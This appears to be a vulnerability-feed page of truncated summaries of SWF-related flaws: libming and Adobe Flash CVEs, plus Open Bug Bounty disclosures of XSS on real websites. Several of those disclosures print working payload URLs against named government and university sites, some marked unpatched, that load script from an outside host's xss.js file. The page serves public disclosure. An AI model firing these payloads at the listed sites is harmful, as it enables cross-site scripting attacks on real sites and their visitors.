CVE-2016-9827

CVE-2016-9827 affects the Ming library (libming) up to version 0.4.7, where the _iprintf function in outputtxt.c used by the listswf tool can cause a denial of service through a crafted SWF file due to a buffer over-read. Connected advisories confirm this issue with Ming releases and note the vul...

CVE-2016-9828

The dumpBuffer function in read.c in the listswf tool in libming 0.4.7 allows remote attackers to cause a denial of service NULL pointer dereference via a crafted SWF file...

Critical: Red Hat Security Advisory: flash-plugin security update

An update for flash-plugin is now available for Red Hat Enterprise Linux 6 Supplementary. Red Hat Product Security has rated this update as having a security impact of Critical. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each...

Adobe Flash Player Use After Free Code Execution (APSB17-04: CVE-2017-2982)

A remote code execution vulnerability exists in Adobe Flash Player. The vulnerability is due to a use-after-free error in Adobe Flash Player while handling a specially crafted SWF file. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted SWF file...

Adobe Flash Player Memory Corruption (APSB17-04: CVE-2017-2988)

A memory corruption vulnerability exists in Adobe Flash Player. The vulnerability is due to an error in Adobe Flash Player while parsing a specially crafted SWF file. A remote attacker can exploit this issue by enticing a victim to open a specially crafted SWF file...

Adobe Flash Player Use After Free Code Execution (APSB17-04: CVE-2017-2985)

A remote code execution vulnerability exists in Adobe Flash Player. The vulnerability is due to a use-after-free error in Adobe Flash Player while handling a specially crafted SWF file. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted SWF file...

Adobe Flash Player Memory Corruption (APSB17-04: CVE-2017-2996)

A memory corruption vulnerability exists in Adobe Flash Player. The vulnerability is due to an error in Adobe Flash Player while parsing a specially crafted SWF file. A remote attacker can exploit this issue by enticing a victim to open a specially crafted SWF file...

Adobe Flash Player Use After Free Code Execution (APSB17-04: CVE-2017-2994)

A remote code execution vulnerability exists in Adobe Flash Player. The vulnerability is due to a use-after-free error in Adobe Flash Player while handling a specially crafted SWF file. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted SWF file...

Adobe Flash Player Type Confusion (APSB17-04: CVE-2017-2995)

A type confusion vulnerability exists in Adobe Flash Player. The vulnerability is due to an error in Adobe Flash Player while handling a specially crafted SWF file. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted SWF file with an affected...

Adobe Flash Player Use After Free Code Execution (APSB17-04: CVE-2017-2993)

A remote code execution vulnerability exists in Adobe Flash Player. The vulnerability is due to a use-after-free error in Adobe Flash Player while handling a specially crafted SWF file. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted SWF file...

nato.int XSS vulnerability

Vulnerable URL: http://www.nato.int/docu/review/2008/SWF/flvplayer4.swf ?debug=prompt/openbugbounty/ Details: Description| Value ---|--- Patched:| Yes, at 24.07.2017 Latest check for patch:| 24.07.2017 20:33 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 35938...

Flash File Malicious Code Execution

A code execution vulnerability exist in Flash. The vulnerability is caused by a crafted SWF file with hidden malicious code. A remote attacker can exploit this issue in order to run malicious code on the effected system...

pi.gov.pl XSS vulnerability

Vulnerable URL: http://www.pi.gov.pl/icorlib/flowplayer/3.2.0/flowplayer-3.2.1.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 602623 VIP...

mkidn.gov.pl XSS vulnerability

Vulnerable URL: http://www.mkidn.gov.pl/modules/flvnews/player/flowplayer-3.2.5.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 274867 VIP...

centrodemidias.am.gov.br XSS vulnerability

Vulnerable URL: http://www.centrodemidias.am.gov.br/components/comaula/flowplayer/flowplayer.commercial-3.2.7-2.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

camarasps.rs.gov.br XSS vulnerability

Open Bug Bounty ID: OBB-211030 Description| Value ---|--- Affected Website:| camarasps.rs.gov.br Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

jeju.go.kr XSS vulnerability

Vulnerable URL: http://www.jeju.go.kr/pub/plugin/SpiderLivePlayer/flowplayer-3.2.18.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| Yes, at 03.07.2017 Latest check for patch:| 03.07.2017 06:02 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

ontariorvda.ca XSS vulnerability

Vulnerable URL: http://www.ontariorvda.ca/wp-content/plugins/shadowbox-js/shadowbox/player.swf?debug=alert%27openbugbounty%27 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10857868 VIP website status:| No Check...

joewalsh.ca XSS vulnerability

Vulnerable URL: http://www.joewalsh.ca/evp/player/flowplayer-3.2.4/flowplayer-3.2.4.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10014066...

tectonics.caltech.edu XSS vulnerability

Vulnerable URL: https://www.tectonics.caltech.edu/movies/flowplayer/flowplayer-3.2.7.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown...